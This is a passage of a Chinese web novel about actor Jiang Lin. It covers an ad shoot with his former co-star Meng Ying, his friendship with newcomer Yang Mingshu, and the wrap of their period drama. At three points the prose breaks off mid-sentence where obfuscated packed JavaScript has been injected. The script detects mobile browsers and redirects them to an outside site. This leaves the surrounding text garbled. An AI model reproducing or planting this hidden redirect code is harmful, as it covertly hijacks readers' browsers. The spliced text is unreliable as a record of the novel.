灯架、轨道、监看屏、道具台,七七八八摆了一圈,制作方、品牌方、平台宣发的人都在,连游戏那边的运营和商务也有人到场。 这种广告拍法和正经剧组不一样,节奏更快,分镜也更细,前期脚本早就定好了,先是男女主分别入镜,带一点旧剧情回忆感,中段是游戏角色和真人同框切换,后面再补一段双人对视和合体收尾,方便后期剪主海报和短视频物料。 他一路跟着工作人员往里走,化妆师刚抬头跟他打了声招呼,远处就有人低声提醒:“孟老师那边也到了。” 当年那部戏拍完之后,他们其实也不是完全没见过,只是都隔着项目、隔着活动、隔着媒体镜头,真正像今天这样,在同一个棚里重新站到一起,已经是很久以前的事。 江临抬眼,与正走进棚内的孟滢碰了碰眼神,昨天还顶不舒坦的心,今天却也笑得极礼貌。 孟滢踮着脚同他招手,快步过来时卷来一阵香风。 尔后上妆,地方就这么大,两人隔得不远,孟滢将手里的脚本翻过去一页,顺口问道:“最近都还好吗?” “都好。”江临说。 她从镜子里能看到江临小半侧脸,俊朗且冷淡,“那就好。” 旁边的执行导演已经在催流程了,化妆老师手下动作更快了些,孟滢那边有人跑过来最后一次确认发型和服装。棚里一下子忙起来,工作人员来来往往,谁都顾不上多停留。 她没再说话。 室外艳阳高照,室内演员着装繁复,空调开到最大,冷风嗖嗖地吹,加上鼓风机、制冰机、造雪机什么的,温度每一秒都比上一秒更低…… 镜里的人游刃有余,镜外的也都能穿多少穿多少,阳明姝特意披了件针织外衫仍觉得有些凉。 虽然这个广告宣传片大部分仰仗后期特效,但这个临时拍摄场地也费了一众工作人员连着两夜的赶工才搭建出来,江临撩袍登高,一眨眼好像又回到了那个已经拍完许久的仙侠世界里。 阳明殊特别吃江临的古装扮相,白衣玉冠,郎艳独绝,仿佛多看一眼就要出不来这幅画。 在高山雪线以上青凛凛的寒光中,他立于崖,衣袂如旌旗猎猎,另一端有人走来,镜头给到来人的脚下,是一双姑娘家的绣鞋,胭脂红,镂金线,其上七彩鸳鸯,栩栩如生,就这样轻轻地,胭脂点地。 北风瑟瑟,鹅雪飘飘。 …… 宣传片引用了原著中大约三分半钟的精彩片段,作承上启下,这段结束,宣传片的后半部到了游戏核心部分,是各种招式、武器、服装频换的恢弘打戏。 江临、孟滢、部分群演以及跟拍的摄影师吊着威亚在半空中飞来飞去,挽剑飞花,衣袍覆雪……阳明殊仰着头,看得入神。 挨得近的是道具老师,他一直监控造雪实在有些无聊,见阳明姝站了许久便好奇问道:“这有什么好看的啊?” 阳明姝笑了笑,没答话。 现场杂声不断,特效没加,音乐没给,背景只有一片光秃秃的绿布,道具老师学着她仰头,观察来观察去也就观察到几双飞来飞去的鞋底。 “明姝姐!” 阿木远远望见阳明姝便颠颠儿跑了过来,“这么个大热天你真来了啊?我还以为你前两天是说着玩儿呢……” 阳明姝拢了拢外衫,又冲他笑,“都说要来观摩了。” 阿木身后不远,摄影机围绕的中央,江临就站在那儿,不过十来步,正面朝着自己,是刚从顶上放下来的样子,为方便一会儿再吊上去他背上的威亚还没解,这几段打戏繁冗复杂,特别费劲,在这么死命降温的室内,还趁着休息将一层又一层的古装袍子挽到了膝盖上,露出下头一截小腿纳凉。 “明姝姐你从哪儿过来啊?” 她在组里友善,四个月下来,跟谁都融洽,连带着阿木也觉得她亲近。 阳明姝收回视线,“酒店,不远。” “哦,怎么没看见金豆儿啊?” 阿木踮着脚四处张望。 “好不容易不工作,我没让跟着,留她在酒店休息了。” 阳明姝迄今拢共拍了三个戏,一个未上线一个还没拍完,虽然仅凭一部戏就在业界内拿了奖,但毕竟在普通观众眼里不算什么名气,于是独自出行的风险并不特别大。 “明姝姐你对金豆儿真好,难怪她敢这么懒……”阿木撇了撇嘴,转念又问:“你自己开车来的吗?” “没有,打车来的。”阳明姝摇头,“市区车多,路况复杂,我车技不好,不敢开。” “哦……” “这样吧,你什么时候走喊我一声,我哥这儿要没别的事我就先送你回酒店,别打车了,你一个人被认出来很麻烦的……” 阿木年轻,心肠又火热,阳明姝歪着头瞧他,“你哥会让你送我吗?” “那肯定让,顺道我还能溜出去买个饮料偷会儿懒……” “也不知道刚刚谁埋怨我家豆儿偷懒。” “啊这……” 正儿八经的工作时间,各部门手头各有忙活,唯独台下那块儿有人小声交谈,像是纷杂忙碌地里的一小块闲适净土,一边补妆一边等着阿木送水过来的江临稍一瞥眼就看见那边角落站着的两人,茶水没踪影,阿木倒是跟人聊得开心。 “咦?那是谁来着?看着有点眼熟……”孟滢走过来同他说话。 “阳明姝,去年中秋拿了最佳新人的那个阳明姝。” “对,这么一说我想起来了,”孟滢恍然大悟,又朝那边多望了两眼,唏嘘道:“第一部就这么顺,真了不起啊……” 江临点头算是应声。 “不过,她怎么会来这里?” 其实阳明姝要不来,江临都忘了几天前她跟自己提过这事。 “她跟我说要来观摩下怎么拍广告。” “跟你说?”孟滢一边抬着下巴配合化妆老师补妆,一边看着江临,她眼尾扫着一点细金粉,灯光落上去,明明灭灭地泛着水光,整个人看着都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她夸得太真诚,真诚到连江临都一时不知该怎么接。 阳明姝夸完,像是忽然想到什么,双手合十,笑得烂漫又虔诚,“真希望以后我也能有机会,跟你一起拍一部古装戏。” 这句话落下来时,周围其实很吵。 灯光组在调角度,场务在喊人,远处还有谁在低声催下一场的拍摄准备。 江临当时脑子里的回话很多,有平常的“我也希望有这个机会”,也有幽默些的“阳老师记着以后有这种资源带带我就是了”,更或者撇开这些表面,更亲近取巧些回答“我没要求,只要有机会,什么戏都可以。” 明明那么多选项,一张口却偏偏答了句:“好,我记住了。” 什么叫记住了? 江临懊恼自己胡说八道,阳明姝却因得到回应而喜不自胜。 “那就这么说定了。” “……” “好。” 8. 第 8 章 这部广告足足耗了八个小时,片商仍旧不太满意,未达到极致的氛围感,明天还需要继续改进,搭建的场地有限,两人还在一个化妆间卸妆,连换衣服都是临时搭的隔断板,孟滢半阖着眼,能从镜子里看到背后镜子里的江临,他正低着头摁着手机。 “江临。” “嗯?” “你手里片子拍完之后是什么行程?” 手机上有一条几个钟头前的消息“我到酒店了,你早些拍完早些休息,后天片场见。” 江临迅速回了句“好,后天见”就将手机扔回了阿木,他抬眼,正与镜子里的孟滢撞到一起,“还没确定,怎么了?” 孟滢是名副其实的台柱子,上哪儿工作除了助理还有自家经纪人亦步亦趋跟着,见孟滢问得这么直接,立刻笑着圆场:“前段时间我和方汀聊天说是你下半年有个旅行节目要录?” “嗯,原本是这个计划,”江临答,“但现在已经推了。” 孟滢:“啊?推了?” 江临:“推了,说在争取一个明年初的电影本子。” 孟滢的经纪人觉得匪夷所思。 “下半年那个节目最多录三个月,和明年初的电影并不冲突啊……” 江临歪头,冲着镜子笑了笑,“我也不知道。” 他笑容浅淡,薄薄的一层蒙在面上,然后又被脸上十分锋利的鬓角眉峰划破,钻出尖锐的小角,孟滢的心便像是被那小角冷不丁扎了一下。 “你们都先出去一下。”孟滢说。 经纪人脚下踌躇一步三回头,阿木没反应,站一旁玩手机,江临抬胳膊撞了撞他,“阿木,出去等我。” “哦,好。” 不大的化妆间静了好几分钟。空气里有卸妆水和发胶混在一起的淡淡气味,灯光在镜面上折出一圈圈白。 “江临。” “嗯,你说。” 两个人背对背,在镜子中冷静对视。 “你知道的,我在找机会跟你再合作一次,戏也好,综艺也行,什么都可以。” “是吗?为什么?” 江临的声音有些散漫。 “还用问吗?” 孟滢抬眸,很无力地笑了下,光照下她看上去貌美又脆弱,“你明明知道我喜欢你的。” 他面上没什么表情,在镜子里望她好一会儿才开口,“算了吧孟滢,别玩了。” “你怎么知道我在闹着玩儿?” “你正经过吗?”江临问。 她本来就是漂亮的,即便素着脸,眉眼也依旧精致得无可挑剔,她还是笑,“那万一就这回我正经了呢?” “不可能。” 江临起身,他那么高,挡住那么一大片的光,“正经也没用。” “没用吗?” 孟滢椅子一转,终于和他面对面,她坐着抬头看他的眼睛,“可我还是想跟你再搭档一次,不一定非要像以前那样,我只是……” “只是什么?”江临重复了一遍,语气很淡。 孟滢没立刻回答,只是看着他。 她当然知道自己在说什么,也知道自己想要什么。 她想把那段曾经被她轻飘飘放掉的关系,重新捡回来。她想看看,江临是不是还会像以前那样,在她稍稍往前一步时,下意识停下来等她。她想知道,自己如果认真一点,诚恳一点,能不能把人重新拉回原处。 可她也很清楚,这样的念头并不体面。 江临的眼睛很亮,却又好像什么都没装。 “你明明知道,我和你不适合再搭戏了。” “嗯,我知道。” 孟滢轻轻叹了口气,“所以好遗憾啊。” 她长相很好塑,跟展示台上精雕细琢的模特似的,穿红娇艳穿白冷傲,换了别的也能清纯动人、妩媚可爱……这种能力让她应对各种角色性格都不会有什么壁,仿佛天生具有多样角色的多样天赋。 “我曾经有那么好的机会,没把握住,现在想回头,居然感觉比登天还难的样子……”她勾了勾唇,眼角含光,模样瑰丽,“好遗憾啊。” 江临走之前,脚步在门口停了几秒,“我新戏里的女主演,刚刚你见到的那个阳明姝,她跟你一样,老让我分不清楚戏里戏外。” 江临的第一部戏是个男二,虽然脑子有病台词也中二,但喜欢女主的心是真的,江临演技生涩,笨拙地去表现爱。 她越界得顺手,他分不清东南西北。她矜贵,他就给她撑伞,她娇气,他便替她扇风。 当初江临其实以为孟滢是真的喜欢自己的,他揣着颗忐忑的心,小心翼翼地检查自己的戏里戏外、真情实感,傻瓜似的思考着怎样安全维系或妥善处理这段关系,后来才发现这样一个大明星就是爱玩儿,今天跟他玩明天又同别人玩去了,万幸发现得不算迟,没给别人添麻烦也没把自己带进太深的沟里去。 他这人没什么大优点,唯一拿得出手点可能就剩个不记事了,花点时间便什么都过去了。 江临站在那里,表情平淡,语气稀松,“可她不像你这么爱玩我。” 孟滢没转头看他也没抬头看镜子,只是望着化妆台上凌乱摆放的物件,“我错了行吗?” “不行。” 江临轻轻摇头,他无法说那段往事有多惊天动地,可伤人也是肯定伤人的,那种被轻飘飘拿起,又轻飘飘放下的感觉,让人总有种走钢丝的悬空感。 而现在,她居然还想回来再试一次。 前年再聚首,那部仙侠剧拍了半年,半年里衣香鬓影、荡气回肠。 戏里孟滢雪衣长剑,坚强得如一朵开在悬崖的雪莲,戏外她骄矜任性,山林里似乎连站都站不住,总要挨着他,每一句话每一个字都要在他耳边悄声说。 她长得那样精致高雅,骨子里却是个抹不掉野性与倨傲的女人。 可江临再不是拍第一部时那个青涩内敛的男二,他的冷淡和漠然如盔甲般将自己包裹得严严实实,磨炼得像一块化不开的冰。 孟滢遗憾的表情只露出了很短暂的一瞬,她知道是时候体面些了,“行吧,忘记恭喜你了,电影圈混开了记得也帮我牵牵线,让我吃吃你资源啊!” 江临爽快应“好”,拉开门道了声“那就明天再见”便大步走了。 她仍坐在镜子前,笑容褪去,安静得有些落寞,随后进来的经纪人了解她的心事,上前轻轻拍她的肩,“也好,那个节目本来公司也不想你去录,闲得慌不是?咱还是好好拍自己的戏,他这回正朝上走,心气儿高就高点儿,往后是个什么样还不知道呢,保不齐没两年还是得回来给你做配……” “说什么呢?”孟滢听着不高兴,“你这个老爱贬低别人的坏毛病什么时候能改一改?” “好好好。”经纪人闭嘴,上一边儿等着去了,孟滢看着镜子里自己,十分烦躁,“江临那性格,得罪一次,真是恨我一辈子……” 经纪人讪讪,偷摸自说自话:“真不知道怎么想的,当初人对你好的时候你瞧不上眼,这会儿又巴巴儿想法子……” 江临妆没卸完,但也完成了七七八八,不仔细看不太出来,阿木抱着背包亦步亦趋跟在他身后,“哥,你跟孟滢的关系到底是好还是不好啊?” 阿木是那部大热仙侠剧播出后跟到江临身边,前情往事一概不知,只知道要说他哥跟孟滢关系好,很明显今天八个钟头下来没说过半句闲话,安全距离保持得十分严谨,要说不好,又能关着门待在一个化妆间说好一会儿私话。 好是不好,阿木不解。 江临大步走在前面,不搭理他的好奇,“快点走,回去睡觉。” 回程路上,城市陷入了例行的晚高峰,高架桥变成了一个巨大的露天停车场,车流堵得动弹不得,阿木坐在副驾驶接电话回消息,后座江临顶着半斤发胶坐着,闲得脑袋痒。 看了会儿拥堵的路况后,江临也从包里摸出手机,闲逛一圈尔后偷摸爬上了那个只属于自己微博小号。 这个小号存在很久了,早些年的江临还没多少人气,空了闲了花个把几个小时就能看完所有评论私信,后来江临越来越红,剧照广告越发越多,爱他的鼓励他的如过江之鲤,骂他的抹黑他的也如黄河之水,江临倒没什么忌讳,但公司已经不再允许他玩自己的号了,说是人设立起来不易,玩坏了商业价值就归零了,于是真身便慢慢不上了全权交给了公司,最后干脆弄个小号,夜深人静时四处撒野到处冲浪,快活得不行。 江临玩起来头就不痒了,人也精神了,先是噼里啪啦发了一堆游戏,然后吐槽了某个新英雄自杀式重做简直就是在帮他戒网瘾,接着又刷了几个搞笑视频,乐到前头阿木侧目。 阿木掩住电话朝他小声喊,“哥,别乐了!我跟老板通电话呢……” 江临不理他,戴上耳机接着玩。 最后的最后,江临轻车熟路在关注里找到一个头像点了进去。 主页的第一条还是两年前那句【我就说吧,我们江临是真傻,并不是装可爱(摊手)】,配图是江临某次赶飞机起晚了,手忙脚乱的穿反了毛衣,被拍就算了,最烦的被拍时他正十分困惑地揪着领子,一副‘不知怎的,好像被命运扼住了咽喉’的蠢表情。 这张图对江临制造的烦躁程度已经达到了他所有表情包中的巅峰。 江临皱着眉“啧”了一声,手指快速划了几下后越发觉得微博没意思,尔后又强撑着刷了会儿比赛集锦,熬到最后一个红绿灯才闷闷不乐地将手机塞回裤兜。 这是他最早一批粉丝的其中一个,差不多是江临刚出道第一年就粉上了,多年来替他骂过街干过仗,无脑吹过也理性分析过,时常有现场照片贴出来,拍得都不怎么好也不会修图,照片不是糊就是角度差,甚至连后期修图都不会,照片要么糊得像加了全套滤镜,要么角度差到能把一米八几的他拍成一米五,早些年天天夜夜发私信,偶尔祝愿他锦绣前程偶尔叮嘱他好生休息,话唠起来什么都敢唠,时不时也蹦一两句‘别干这破活儿了我卖肾养你’一类的胡话…… 江临最开始特别注意到这位,是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492551|202303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为某次早期的站台活动。 品牌主持人咄咄逼人试图搞花头,强硬要求江临配合各种千奇百怪的表情和姿势来拍照,其间各种言语暗示骚扰,带着几分圈内对新人的轻感,言辞中极不尊重。 江临被动生涩,虽然生气却也不敢当众给难堪,站也不是走也不是正僵着,台下观众席里忽然传来一道极清亮、极不客气的声音:“你这种没素质的主持是哪里请的啊?” 那一声不算脏,正好卡在主持人话语的间隙、观众杂声的空档,却足够尖锐,像刀子一样一下把场面划开了。 全场静了两秒。 主持人的笑容僵住,立刻试图把话圆回来:“哎,大家别太认真啊,我跟江临是在做现场互动,活跃一下气氛——” “是这么活跃的吗?” 那个声音又起,这回更高,直接压过了现场的嘈杂。 “你拿人家新人当道具使呢?让他摆这摆那、说这说那的,你问过他愿不愿意吗?懂不懂什么叫尊重人啊?” 主持人明显被噎了一下,干笑着还想继续找补:“这位粉丝可能有点误会……” “我误会什么了?”那人毫不客气地打断他,“你刚才那几句是夸人,还是在拿人寻开心,你自己心里没数吗?不会主持就滚回去学好吗?” 这一下,场子彻底安静了。 江临站在台上,听着台下那几句话,整个人都怔住了。 主持人还想再解释,台下却已经开始有零星的附和声。 “就是啊,别拿新人开玩笑了。” “主持能不能专业点。” “这算什么互动。” 气氛一下子变得很微妙。 主持人脸上的表情挂不住,勉强笑了两声,只好草草收住话头,匆忙把流程往下带。 彼时江临被感动得一塌糊涂,那人说每一个字都是他压在喉咙眼里的说不出来的脾气。 他在熙熙攘攘中逐个搜索,奈何人群因这出意外持续骚动了起来,并且他眼神又不太好,瞧谁都差不多模样,而主持人为解窘迫,提前散了场。 事后两个礼拜江临才偶然从方汀嘴里听说这事儿已经在不大的粉圈里传开了,俩人花了些时间跟着粉丝搭的线找着这人的微博,点进去时,这位凶神恶煞的女粉还在微博上三百六十度无死角地疯狂责问那个主持人,从第一句话到最后一个动作一帧一帧地解剖式攻击,甚至连带着品牌方都没能逃过她的键盘。 偷窥的俩人纷纷倒抽了口凉气,有点欢喜又有点怕。 于是,江临就那个时候记住了这个微博账号,当然,他能一直记得,这个独特的微博名也创下了赫赫之功。 他原本计划找个合适机会隐晦提她的名感谢她,可是那个微博名又让江临实在讲不出口,也曾想过回条私信说声谢谢结果被方汀以“维持偶像与粉丝的距离感,避免被私生饭或者黑粉利用”的理由严令禁止,后来江临只能用这种秘而不宣的偷偷关注,当作他能给她的唯一回馈。 虽对不知情的人确实没什么屁用,但起码能让被护着的他心里舒坦许多,“呐,你看,我一直记得呢。” 可是遗憾得是,她已经先一步忘记他了。 可能是长大了,也可能是发现他不好不值得了吧…… 红灯转绿,车子重新发动。 江临靠在椅背上,看着窗外再次流动起来的夜色,突然有些烦这种突如其来并瞬间如火如荼,走时却不动声色尔后湮灭成灰的喜爱。 孟滢是这样。 粉丝也是这样。 快进家门时,江临接到方汀的电话,好巧不巧,明年的那个原本定好的本子迟迟没有动静,但上半年他抱着碰运气的心态去试镜的一部电影,居然让他钻到了空子。 大制作的商业电影一直是人人都想咬一口的肥肉,更是一座分水岭。在圈内的商业逻辑里,像喻闻声这种级别的导演,手里的顶级项目向来是轮不到江临这种靠粉丝经济撑起来的流量偶像的。 那道不成文的、名为“流量与演员”的壁垒动摇不了,即便公司费了力气,在这样的项目面前,也顶多只能帮他撕到一个第三轮试镜的机会,权当是去“刷个脸,混个眼熟”。 结果,谁也没想到,偏偏因为角色的特殊性,让江临钻到了这个天大的空子。 江临笑了笑,“好啊。” 刚刚还厌烦得紧的心,转瞬又有了期待,春风野草般填满了整个胸腔,毕竟被旁人推着走会让他疲惫倦怠,但若是自己抬脚探索,指不定就能因新鲜而心生欢喜。 电话里听得出方汀的感慨,语气里也充满了畅快,“咱们这次真的是运气好,说是导演手里早定好的几个备选全刷下去了,本来公司都不舍得砸钱了的……得亏上次试镜过得漂亮……你什么都不用管,只需要快些将手上这部剧顺利拍完就可以了……” “嗯。”江临应声。 “拜托了拜托了,一定要顺顺利利啊!”方汀夹着手机,双手合十祈祷。 后来,老天大约是感知到了他的虔诚。 9. 第 9 章 后来的拍摄过程一直顺利,顺利到有个别场次甚至大大超过了预期,彼时张导盯摄影机盯出了神,香烟在指缝烫了个老大的泡,手指都合不拢,逢人问起就解释:“就因为看了出戏,看得出不来。” 同样受影响的还有江临,那出戏是两人各自的独角戏,独自饰演一段漫长而无望的等待。 江临候场在一旁,心如落石,一点点沉到最深处。 约定的期限到了,叶莺着一条蓝白裙装,上衣袖口绣着白玉兰,底下裙摆翩跹,如云乌发绾作髻,一排珍珠扣藏在云中。 她去了用以掩人耳目的帽子店,在八点的街头,给过往的行人送帽子,给少女、给妇人、给老先生……她的笑容就像她绣在袖口那朵白玉兰,这个世界混乱,腐败,她却始终温柔,一尘不染。 有人与她说话,更有同条街的商铺老板同她惋惜告别,她归心似箭,一遍遍说道:“我如今能归家去,是天大的好事。” 老妇人在她掉头时嘱咐:“要下雪的天,你这样穿太单薄,回去记得多添件衣。” 叶莺挥手应声,她走着走着又跑了起来,她身影如鸟儿般轻盈雀跃,等她跑回家,邻居家正做午饭,有起锅烧油的气味,行李早就收好了放在门后,手一勾就能离开。 可她离开前还是回头看了眼屋子,小楼东风、西边悬月、街口西点店甜蜜的面包香……她有些不舍,但好在欢欣更多。 起初,车站里的日光正盛,落在身上明晃晃的,后来变成黄昏的颜色,再后来又开始飘小雪,路灯的光在地上划了一线,到最后,站务人员催促她离开,整个车站便悄无声息地沉浸进了黑暗里…… 她站不住了,抱着膝盖坐在车站门口,心里惘然。 夜半的街道,时有人过,有巡逻的兵高声呼喝,也有喝醉的人左摇右晃,叶莺害怕,却不肯回家,提着箱子钻进了旁边洋行与商铺间的狭小缝隙,那里很黑,黑到只能看到映着路灯微光的泪珠滚下来。 她肚里饥饿,身体又乏又冷,悬着的心从清晨等到深夜。 另一边,梁秋序静坐在书房,他面前那盏灯似乎永远不会熄灭,他伏案写了几封书信,那张隐在灯影里的侧脸,透出一种消沉的风流。 今夜落了雪,看不见月亮。 他眉心藏着的心事化成桌案前的一声叹息,等书信封存好,他仍没动,只是抬眸往门外望去。 门外,雪虐风饕。 门内,半明半昧的光影里,他眼里如古井般死寂。 半刻,有人侧身进来,借着躬身添茶的功夫轻声道:“叶小姐那边,已经走不动了。” 梁秋序了然在胸,他点烟,闭眼,眼睫微颤。 “我所做所求,她都懂,也同我一样。” 另一边,叶莺硬生生又等了一整个白天。她意识离散,努力去辨认车站的每一个行人。又至天黑,已快到她身体极限。 游魂般归家,叶莺连最后一点力气都耗尽了,人站不住,解了领口的扣子,踉踉跄跄往床上一躺就睡了过去。 似是做了个惶惶然的梦。 人惊醒,一身凉汗,捂着胸口爬起来,只觉得心尖更痛。 小楼里没有开灯,窗户被夜风吹得轻轻作响,外头的雪色都像是被硝烟压得死白。叶莺一个人坐在床中央,也不知过了多久,她理了理衣襟,掖好了鬓边的发,打开灯,添上衣,弄了口吃的果腹,她告诫自己要像往常一样活着,只有活着才能等下去。 她小声自说自话:“也没说一定就是哪天,或许是明天也说不定。” “是我自己着急莽撞记错了日子。” “世道这么乱,耽搁几天正常的。” 接下来的日子,梁秋序出入得比以往更多,他又瘦了些,风衣披在他身上显得空洞,他来去疲累,总取下眼镜揉眉心,眼角苍沉而隐秘,脸略凹陷更加凸显出侧影中高挺的鼻梁和锋利的下颌角。 雪下个不停,两颗心都已经沉入谷底。 叶莺每天都去车站,从开门到关站,天光到沉夜,车站好多人都见过她,直言那是个疯子。 日复一日, 两天,三天,四天…… 就这样浑浑噩噩的,她又等了十天。 她在漫长的等待中反复咀嚼绝望,然后重新燃起支撑自己的希望。 第十天的深夜,不知几点,叶莺躺在黑暗房间望着头顶出神。 忽然,她似乎听见有人划了根火柴的声音。 那声音极细微,若不是叶莺一直如游魂般困在空洞中也捕捉不到。 她没开灯,只是推开了二楼的窗子,然后她看见对面院子里那点猩红火光。 对面小院子里住着的是位曾经在女子学堂授课的先生,后因腿脚不便辞业,叶莺藏着秘密与旁人都不过多来往,唯独每回买了报纸都会分先生一份。 先生不抽烟,她恰巧知道。 叶莺心跳如雷,抓着窗栏的手指传来刺痛感,而似是为响应她疑惑,那黑漆漆、空荡荡的院落中,又划了根火柴。 左右不过三四秒钟,叶莺很长很长地吐了口气。 他没死,他来了。 他来了却站在别处只会有一个原因,她知道梁秋序进不来了。 一年前梁秋序将她送走安置在这栋小楼里是因为不想做她的催命符,而如今还是逃不过,按理说她更不应该成为他的绊脚石,他那样大的抱负,是生来就将所有付家国的一个人。 满院的落雪,他站在其中,仍如记忆中兰芝玉树的皎好模样。 万幸,也算是遥遥见了一面。 夜半,有夜莺低声泣,凄婉哀切,眼泪打湿了前襟和两条袖子。 破晓时分,小楼枪响,梁秋序扶着那棵桂树蹲下了身,呼吸停滞、心跳扩散,仿佛自己也死在了那扇不开灯的窗子里。 …… “Cut!” 阳明姝出小楼,见江临还埋首蹲在桂树旁,阿木扶他两回也都摆手不动。 “怎么了?” 江临没有抬头,良久才闷闷地答:“我心里难受。” “我也是。” 阳明姝挨着他蹲下,她一头青丝铺了满背,眼里还含着湿意,“没事了,你看,我还好好活着呢。” 江临没话可说,只是伸手摸了摸她的头发。 叶莺自杀,梁秋序没多久也以身报国。 《风雪夜归人》全片顺利杀青。 杀青宴上,觥筹交错,几位领导喝完,又举杯,“来,大家敬梁秋序,敬叶莺!” 阳明姝一口白酒下肚,呛得眼泪直流。 “不会喝酒?”江临给她递纸巾。 “会喝,”她怕花妆,接过纸巾掖眼角,“只是舍不得你。” 江临等了足足半分钟,都没等到那个“们”字。 整个拍摄过程消耗过大,人人都疲累,于是宴席不长,吃饱喝足就到了尾声。 “我入行不久,但截止今天都算很顺畅,努力去做的都得到了想要的回馈。” 阳明姝的话说得认真又好听,“江临,能和你一起拍这部戏,我真的很开心。” 有人在拍照,闪光灯晃了他一下,江临闭了闭眼,再睁开只觉得更加恍然。 “这像是告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方汀挨着他坐下,声音语重心长,“没关系的阿临,跟以前一样,很快就过去了……” 江临抬眸的一瞬间猛地想起阳明姝,来得太过骤然,导致刚想说什么来着也全忘了。 他电视剧拍了不少,长长短短,剧中搭档换了又换,其实说来说去和女主演都是个感情纠葛,不是哭就是笑,再不过加些个歇斯底里、痛不欲生……只要不跳戏差不多都能过,毕竟偶像出演的电视剧,要求精细的不会看,但凡看的都是双方真粉。 情情爱爱拍得多了,谈起来总觉得麻木。 但这次好像真有些入了戏,她那么认真,将叶莺隐忍不言的爱意,一丝不落地送到了他跟前。 江临开口,声音沉闷,带些喑哑,“那一回,轻云红口白牙跟我说喜欢我,我都没这样难受。” 轻云,前年那部仙侠里孟滢的角色名。 “啊?是吗?” “后来我发现轻云是逗我玩……”江临望着窗外,腿一下一下地晃,“但叶莺不一样,她好像真的费了好大的力气才走到我面前。” “但是也说不准,毕竟我蠢,总分不清这些真的假的……” 江临还是那股精致又枯燥的味儿,但就是让旁人看了有些心疼,方汀咽了口唾沫,“阿临,听话,没事儿的……你啊,就是平日太忙没几个朋友,拍戏嘛一拍好几个月,入戏是好事儿,入戏代表你认真努力,咱不是专业的,出戏慢点很正常,别说什么蠢不蠢的……” “我知道。” 飘窗上的人偶打断他,“困了,去睡吧。” 江临转过脸,他的笑淡淡的,薄薄的,如窗外夜色般抓不住,“不用担心我。” 10. 第 10 章 新戏中,江临的沙场戏份极重,需要尽可能避开盛夏,以及片方对他有增肌、加强体能以达到骑马、杀敌的镜头要求,于是开机定在一个多月之后。 这些年一水儿偶像剧下来,为了上镜江临都快忘了饱腹感是什么感觉,正逢假期,能敞开了炫的滋味,不可谓不痛快,到了体能训练时,又是一通苦不堪言。 另一边,阳明姝作为潜力股,被公司摁住暂不进组,要等《萤火》上映,再结合市场进行筛选,这期间为了偿还钟蓓蓓那顿喝到凌晨三点的酒局,阳明姝老老实实去排了话剧,虽然不是之前那个主要角色,拿了位边缘女性,台词极少,心理层次极丰,拍摄环境艰苦,片酬很低,不过当锻炼、积累积累的经验也绰绰有余,毕竟年轻,能学的东西还很多。 十一长假,江临进组。 蒙东,库布奇沙漠纬度高,夏季会比内陆稍稍后移一些。 此时沙漠的风凶得能吃人,几辆房车绕片场七零八落停着,等戏的躲在房车背风处聊天看热闹,上镜的提枪纵马一口接一口吃沙吃到饱。 江临几个来回折腾得灰扑扑、蔫搭搭的,瞧过去就只剩一双眼还能眨巴出点亮光,进组时还是个了不得的俊男,眨眼就成了乞丐,彼时乞丐骑着马,衣衫褴褛,血迹斑斑,垂下的铁枪头有一下没一下划拉着沙,胯.下马脾气燥得很,这还没走两步,不乐意干了,一个惊天动地的蹶子过后,江临一脑袋扎进了沙里。 所幸除却被一身铁甲硌疼了几把骨头以及吃了口沙外没别的。 一阵惊呼后,一群人围了上去,江临坐在地上笑,笑意似是从眼角漫了出来,所到之处都是一片喜气洋洋,如此大家便都笑了。 “没事吧?” “真没事?没哪儿疼吗?” “吓死我们了……幸亏这马没踩你两脚……” 江临快三十了,眨眼出道八年,时光消磨了他的阴郁也掩藏了他的倨傲,他温雅随和,像一个真正的演员。 他招人喜欢是真的,长得好还努力,又十分谦和讲礼,进组半个月,俘获芳心一箩筐,就连向来严苛的喻闻声喻导瞧着他也时常发不出什么脾气。 “小江,没事吧?” 江临被化妆师掰着脑袋整理头发,近看脸颊处擦破了些,别说,破得挺符合剧情需要不说,还特有破碎美感,“没事儿,挺好。” 喻导等他一口气喝完满杯子凉水,“那再来?” “好,”江临点头,“再来。” 喻闻声导演轻易不用未打磨过的新电影人,这次破格选了江临,还是因为他不想拍一个程式化的英雄,他想要一种“原始的、锐利的、不需要太多表演痕迹的少年气”。 原本定好的几个备选,要么是年纪偏大少了那份鲜活,要么是演多了正剧演技太“稳”,少了少年将军身上那股子不管不顾、直捣龙庭的锐气。 而江临,在那个局促的试镜间里,凸显出了令人意外的贴合度。 或许是因为在流量池里浮沉多年,江临虽然被磨去了青涩,但内心深处对纯粹表演仍有渴望,反而让他保留了一种罕见的执拗。在试镜那段“拒看地图,直取祁连”的戏时,他的眼神里没有演出来的杀气,只有一种干净的、理所当然的狂,那是他对规则的漠视,也是他对自己实力的绝对自信。 于是,原本那几个在圈内被视为“稳拿”角色的热门人选,全被喻闻声一挥手刷了下去,江临意外成了最佳人选。 为了这个“意外”,江临身后的团队真是挤破了脑袋,回报条件一提再提,甚至不惜以降低后续商务分成作为交换,在最后一轮博弈里,硬生生从几家大娱乐公司手里把这个角色抢了过来。 喻闻声相信自己的判断,也喜欢较真的人,他思索着其余塑造还是有可能后期人为的,这便敲定了。 